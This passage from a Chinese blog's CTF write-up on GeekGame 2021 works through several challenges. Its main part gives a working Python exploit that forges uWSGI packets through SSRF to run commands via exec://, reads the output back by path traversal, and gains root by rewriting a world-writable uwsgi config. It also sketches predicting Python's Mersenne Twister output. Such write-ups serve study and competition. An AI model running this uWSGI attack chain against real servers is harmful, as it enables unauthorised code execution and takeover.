        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff.
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)


def exp(command):
    print(command)
    host = "https://prob17-vvm2kfjo.geekgame.pku.edu.cn/"
    cmd = 'exec://' + command + " > /tmp/miao; echo test"
    payload = curl('test', "127.0.0.1:3031", cmd, '/src')
    payload_b64 = base64.b64encode(payload)
    print(payload_b64)
    print("[*]Sending payload.")
    r = requests.post(
        host, data={"server": "127.0.0.1:3031", "content": payload_b64})
    print(r.status_code)
    time.sleep(0.25)
    print("[*]Receiving result.")
    r = requests.get(host + '/module?log=../../../../../tmp/miao')
    print(r.status_code)
    # print(r.text)
    result = re.findall(r'<textarea rows="50" cols="80">(.*?)</textarea>', r.text, re.S)
    # print(result)
    print(result[0])
    

def main():
    # command = "pkill -9 uwsgi"
    command = "whoami"
    command = "cat /flag"
    command = "ps -ef"
    exp(command)

if __name__ == '__main__':
    main()

(这个 exp 是最后改好的了

ls -al /

ls -al /

好不容易 RCE 了,但又不是完全 RCE,还得提权啊……

$ whoami 
nobody
$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

$ ls -al /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign

看了一下发现这几个貌似都不能执行吧……

/module?log=../../../../../../../tmp/supervisor.log

# /tmp/supervisord.log

2021-11-18 08:35:57,151 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
2021-11-18 08:35:57,153 INFO supervisord started with pid 8
2021-11-18 08:35:58,156 INFO spawned: 'chatbot' with pid 52
2021-11-18 08:35:58,158 INFO spawned: 'uwsgi' with pid 53
2021-11-18 08:36:03,393 INFO success: chatbot entered RUNNING state, process has stayed up for > than 5 seconds (startsecs)
2021-11-18 08:36:03,393 INFO success: uwsgi entered RUNNING state, process has stayed up for > than 5 seconds (startsecs)
$ ps -ef 
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 08:35 ?        00:00:00 /sbin/docker-init -- sh run.sh
root           8       1  0 08:35 ?        00:00:01 /usr/local/bin/python /usr/local/bin/supervisord -n -c /etc/supervisor-ctf.conf
root          14       8  0 08:35 ?        00:00:00 socat UNIX-LISTEN:/sock/socat.sock,fork,reuseaddr TCP4:127.0.0.1:8080
root          16       1  0 08:35 ?        00:00:00 nginx: master process nginx -c /etc/nginx/nginx.conf
www-data      17      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      18      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      19      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      20      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      21      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      22      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      23      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      24      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      25      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      26      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      27      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      28      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      29      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      30      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      31      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      32      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      33      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      34      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      35      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      36      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      37      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      38      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      39      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      40      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      41      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      42      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      43      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      44      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      45      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      46      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      47      16  0 08:35 ?        00:00:00 nginx: worker process
www-data      48      16  0 08:35 ?        00:00:00 nginx: worker process
nobody        52       8  0 08:35 ?        00:00:00 python /usr/src/ufctf/chatbot.py
nobody        53       8  0 08:35 ?        00:00:00 uwsgi --ini /tmp/uwsgi-ctf.ini
nobody        56      53  0 08:35 ?        00:00:00 uwsgi --ini /tmp/uwsgi-ctf.ini
nobody        57      53  0 08:35 ?        00:00:00 uwsgi --ini /tmp/uwsgi-ctf.ini
nobody        69      57  0 08:39 ?        00:00:00 [sh] <defunct>
nobody       132      57  0 08:47 ?        00:00:00 [sh] <defunct>
nobody       141      57  0 08:49 ?        00:00:00 [sh] <defunct>
nobody       152      56  0 08:51 ?        00:00:00 [sh] <defunct>
nobody       159      56  0 08:52 ?        00:00:00 [sh] <defunct>
nobody       182      57  0 08:55 ?        00:00:00 [sh] <defunct>
nobody       198      57  0 08:59 ?        00:00:00 [sh] <defunct>
nobody       207      56  0 09:00 ?        00:00:00 [sh] <defunct>
nobody       216      56  0 09:09 ?        00:00:00 [sh] <defunct>
nobody       223      56  0 09:10 ?        00:00:00 [sh] <defunct>
nobody       249      56  0 09:32 ?        00:00:00 [sh] <defunct>
nobody       255      56  0 09:33 ?        00:00:00 [sh] <defunct>
nobody       264      56  0 09:34 ?        00:00:00 [sh] <defunct>
nobody       273      56  0 09:35 ?        00:00:00 [sh] <defunct>
nobody       282      56  0 09:37 ?        00:00:00 [sh] <defunct>
nobody       295      56  1 09:45 ?        00:00:00 [sh] <defunct>
root         303      14  0 09:45 ?        00:00:00 socat UNIX-LISTEN:/sock/socat.sock,fork,reuseaddr TCP4:127.0.0.1:8080
nobody       304      56  0 09:45 ?        00:00:00 /bin/sh -c ps -ef > /tmp/miao; echo test
nobody       305     304  0 09:45 ?        00:00:00 ps -ef

这里面可疑的有 nginx,socat,supervisord。

$ pip list
Package            Version
------------------ --------
click              8.0.3
Flask              2.0.2
importlib-metadata 4.8.2
itsdangerous       2.0.1
Jinja2             3.0.3
MarkupSafe         2.0.1
pip                21.2.4
setuptools         57.5.0
supervisor         4.2.2
typing-extensions  3.10.0.2
uWSGI              2.0.20
Werkzeug           2.0.2
wheel              0.37.0
zipp               3.6.0

supervisor 挺新的,没有 RCE 的 CVE 了。

通过 nginx.conf 进一步读到网页配置文件 nginx-ctf.conf

upstream uwsgi {
    # server unix:///path/to/your/mysite/mysite.sock; # for a file socket
    server 127.0.0.1:3031;
}

# configuration of the server
server {
    # the port your site will be served on
    listen      8080;
    # the domain name it will serve for
    server_name localhost; 
    charset     utf-8;

    # max upload size
    client_max_body_size 2M;   # adjust to taste

    # Django media
    location /media/  {
        alias /usr/files/media/;  # your Django project's media files - amend as required
    }

    location /static/ {
        alias /usr/files/static/; # your Django project's static files - amend as required
    }

    # Finally, send all non-media requests to the uwsgi
    location / {
        uwsgi_pass  uwsgi;
        include     /etc/nginx/uwsgi_params; # the uwsgi_params file you installed
    }
}

可以知道是代理了 8080 端口给 uwsgi 后端 127.0.0.1:3031,而 run.sh 里有个 socat

socat UNIX-LISTEN:/sock/socat.sock,fork,reuseaddr TCP4:127.0.0.1:8080 &

他把这个 8080 又 fork 到了 /sock/socat.sock,可能是为了 docker 部署用的?不懂了。

再回去看 supervisord 和 uwsgi 的配置文件,发现这个 uwsgi-ctf.ini 可写啊!

-rw-rw-rw- 1 root root 210 Nov 11 18:21 /tmp/uwsgi-ctf.ini

而且 uwsgi 是可以自动重启的。

那就可以把里面的 nobody 换成 root,然后 kill 掉原来的让 supervisor 重启,不就完事了!

# sed -i 's/nobody/root/g' /tmp/uwsgi-ctf.ini
# 然而不懂为啥没改成功,于是先写到别的文件,再覆盖过去,这里覆盖就别用exp里的了,输出重定向这里单独写
$ sed 's/nobody/root/g' /tmp/uwsgi-ctf.ini > /tmp/test
$ cat /tmp/test > /tmp/uwsgi-ctf.ini

(赛后看其他师傅wp,原因应该是 sed 替换的时候需要创建临时文件,但题目没法创建临时文件

然后再看这个文件,发现就改好了。

再把 uwsgi kill 掉。

$ pkill -9 uwsgi

等一会儿,发现会有一段时间 502 了,而后又恢复了。

可以看看 /tmp/supervisord.log,发现确实重启了。

看当前用户,就发现是 root 了。

那就能读 flag 了,好耶!太顶了啊!!!

flag{UWSG1_is_n0t_SafE_wheN_SSrf}

另外,还可以通过改 uwsgi 配置文件,用 print = @(/flag) 的形式来把 /flag 包含进来作为启动时打印的信息,然后利用任意读文件漏洞来读日志文件 /tmp/supervisor.log

诡异的网关

2021年,小咕终于把操作系统从 XP 升级到了 Win 7!
正如身边同学的装机必备软件是 2345 浏览器、360 安全卫士,小咕刚装好系统就要安装北大网关客户端。

小咕熟练的打开 its,下载,安装,完成!

但这次的程序,好像……有点不一样?
会不会是被黑客篡改过了?

点击 “打开/下载题目” 下载题目附件

此程序专为本题而设计,请勿用于其他用途

提示:探索程序的 UI 可能带来意外收获。

下载下来,拖进 IDA,这啥啊,算了不逆了。

执行程序,发现 UserID 下面有个 flag,Password 也保存了,就这个了吧。

打开 x64dbg,开始动态调试,调了调,算了,摸了。

直接拿出 星号密码查看器 拖动就完事了。(喵喵懒懒.jpg

flag{h0w_diD_you_g3T_th3_passw0rd?}

扫雷

小咕曾是部队里负责扫雷的工兵,退役之后,迷上了电脑上自带的扫雷游戏。 以他的话说,“这是速度与精度的完美结合”。

2021年,小咕终于把操作系统从 XP 升级到了 Win 7!
正如身边的人抱怨 Win 11 的华而不实,小咕也感觉升级后的扫雷游戏失去了某种朴素的味道。 但他却无处泄愤。

于是,小咕决定自学编程,实现自己心中完美的扫雷游戏。
鉴于玩家水平各异,小咕还实现了 Easy 模式,以纪念首次上阵就踩雷的同志们。

你可以 下载本题的程序

点击 “打开/下载题目” 将打开网页终端,你也可以通过命令 nc prob09.geekgame.pku.edu.cn 10009 手动连接到题目

提示:困难模式对应 Flag 1,简单模式对应 Flag 2。

第二阶段提示

了解一下 Python 随机数的实现。

给了源码

#!/usr/bin/env python3

import random
import signal

import functools
print = functools.partial(print, flush=True)

from mylib import show_flag


WIDTH = 16
HEIGHT = 16
ROUND_LIMIT = 2000


def gen_board():
    bits = random.getrandbits(WIDTH * HEIGHT)
    board = [[None] * WIDTH for _ in range(HEIGHT)]
    for i in range(HEIGHT):
        for j in range(WIDTH):
            x = (bits >> (i * WIDTH + j)) & 1
            board[i][j] = x
    return board


def check_win(board, marks):
    for i in range(HEIGHT):
        for j in range(WIDTH):
            if board[i][j] == 0 and not marks[i][j]:
                return False
    return True


def near_count(board, x, y):
    delta = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[1,-1],[-1,1],[-1,-1]]
    count = 0
    for d in delta:
        tx, ty = x + d[0], y + d[1]
        if 0 <= tx < HEIGHT and 0 <= ty < WIDTH:
            count += board[tx][ty]
    return count


def show_board(board):
    for i in range(HEIGHT):
        for j in range(WIDTH):
            if board[i][j]:
                print("*", end='')
            else:
                print(near_count(board, i, j), end='')
        print()


def run(easy_mode):
    signal.alarm(600)
    count = 0

    while True:
        board = gen_board()
        count += 1
        marks = [[False] * WIDTH for _ in range(HEIGHT)]
        steps = 0

        print("New Game!")
        while not check_win(board, marks):
            x, y = input("> ").split()
            x, y = int(x), int(y)
            if board[x][y] != 0:
                if easy_mode and steps == 0:
                    while board[x][y] != 0:
                        board = gen_board()
                else:
                    print("BOOM!")
                    show_board(board)
                    break
            marks[x][y] = True
            print(near_count(board, x, y))
            steps += 1
        else: # win
            print("You win the game in %d steps!" % steps)
            show_flag(easy_mode)
            break
    
        if count >= ROUND_LIMIT:
            break

        print()
        t = input("try again? (y/n)")
        if t != 'y':
            print("bye")
            break
    

if __name__ == "__main__":
    print("Welcome to the minesweeper game!")

    t = input("easy mode? (y/n)")
    easy_mode = t == 'y'
    run(easy_mode)

大概思路就是,先尽可能失败一堆,拿到整个棋盘,然后据此算出原始的随机数。通过 python 随机数机制推断出下一次的棋盘,再去解扫雷就完事了

(由于这题是最后一天凌晨看的,当天白天还有其他比赛,这个还要写交互,于是摸了.jpg

看看 Python 的随机数机制。

几乎所有模块函数都依赖于基本函数 random() ,它在半开放区间 [0.0,1.0) 内均匀生成随机浮点数。 Python 使用 Mersenne Twister 作为核心生成器。 它产生 53 位精度浮点数,周期为 2**19937-1 ,其在 C 中的底层实现既快又线程安全。 Mersenne Twister 是现存最广泛测试的随机数发生器之一。 但是,因为完全确定性,它不适用于所有目的,并且完全不适合加密目的。

  • random.getrandbits(k)

    返回具有 k 个随机比特位的非负 Python 整数。 此方法随 MersenneTwister 生成器一起提供,其他一些生成器也可能将其作为 API 的可选部分提供。 在可能的情况下,getrandbits() 会启用 randrange() 来处理任意大的区间。

    在 3.9 版更改: 此方法现在接受零作为 k 的值。

via https://docs.python.org/zh-cn/3/library/random.html

(后面再来复现吧,理论上拿个现成的库预测一下就行吧

小结

好难啊,太顶了吧!

rk39

解题情况

一血

最后拿了 39 名,拿了个一血,摸了。

感觉题目挺绕的挺套的,一道题做一天,不对,是从第一天看到最后一天也没做出来……

比如说 Flag即服务 那题本来第二问拿了个二血(没抢到一血哭哭),于是想抢第三问一血的,结果到了最后一天发现其他问题都解决了,就卡在带有过滤的有限长度的代码执行上了,害,其实就是 jsfuck 没好好优化啦(((别骂了

本届竞赛将继续追求 题目新颖有趣、难度具有梯度,让没有相关经验的新生和具有一定专业基础的学生都能享受比赛,在学习的过程中有所收获。

题目里面还埋了挺多梗,但感觉难度梯度有点大,容易劝退,而且这打起来太花时间太折腾喵喵啦,每次看着以为马上出结果总有下一层等着你。

不过话说回来,题目套的点比较多,从学习的角度而言看 writeup 来学习的话收获还是不少的,Orz!

(u1s1,打这个比赛太累了

相关资源

(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录